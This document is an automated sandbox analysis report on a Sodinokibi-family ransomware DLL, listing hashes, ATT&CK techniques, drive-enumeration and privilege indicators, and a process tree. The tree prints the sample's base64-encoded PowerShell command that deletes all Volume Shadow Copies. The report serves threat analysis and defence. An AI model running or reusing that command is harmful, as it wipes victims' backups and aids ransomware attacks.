7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

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28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
1559s
max time network
1566s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02-03-2024 10:05

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

708ef2feaf6fc35f33486111d9c0f97b
SHA1

9d91bfe8fd44ff1d75551807017e634c2b7580d1
SHA256

23d7cd4b0535b40662dc211b4ae28c4b5383c66b4b686064bd391a259da80d48
SHA512

35db49ab278f1c78d7193e8c75d07fd9d66bab62a7f140b451f03b9fe49138525d92ffe08cd155ae4b6ceec4eca91f2253fba71ddf1af5cb6f701d9b3899d04f
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFfsJmjUm:veoUeZR2TRCWQFfsJmj

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
548	rundll32.exe
1608	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	548	rundll32.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeBackupPrivilege	3004	vssvc.exe
Token: SeRestorePrivilege	3004	vssvc.exe
Token: SeAuditPrivilege	3004	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 3020 wrote to memory of 548	3020	rundll32.exe	28
PID 3020 wrote to memory of 548	3020	rundll32.exe	28
PID 3020 wrote to memory of 548	3020	rundll32.exe	28
PID 3020 wrote to memory of 548	3020	rundll32.exe	28
PID 3020 wrote to memory of 548	3020	rundll32.exe	28
PID 3020 wrote to memory of 548	3020	rundll32.exe	28
PID 3020 wrote to memory of 548	3020	rundll32.exe	28
PID 548 wrote to memory of 1608	548	rundll32.exe	31
PID 548 wrote to memory of 1608	548	rundll32.exe	31
PID 548 wrote to memory of 1608	548	rundll32.exe	31
PID 548 wrote to memory of 1608	548	rundll32.exe	31

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1608

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2748

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1608-4-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/1608-5-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/1608-6-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/1608-7-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1608-8-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1608-9-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1608-10-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/1608-11-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1608-12-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download